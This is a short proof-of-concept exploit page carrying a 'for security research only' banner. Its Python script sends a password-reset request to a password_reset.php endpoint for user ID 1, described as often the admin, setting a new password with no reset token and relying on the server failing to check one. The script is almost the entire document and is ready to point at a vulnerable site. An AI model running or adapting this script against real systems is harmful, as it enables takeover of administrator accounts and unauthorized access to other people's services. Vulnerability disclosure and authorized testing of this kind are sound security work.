PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL and User ID target_url = "https://example.com/password_reset.php" user_id = "1" # Often admin ID is 1 new_password = "HackedPassword123" # Payload exploiting the bypass payload = { "user_id": user_id, "new_password": new_password, "confirm_password": new_password # The vulnerability implies that validation tokens (like 'token' or 'hash') are missing or not checked properly } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Password reset potentially successful. Try logging in.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")
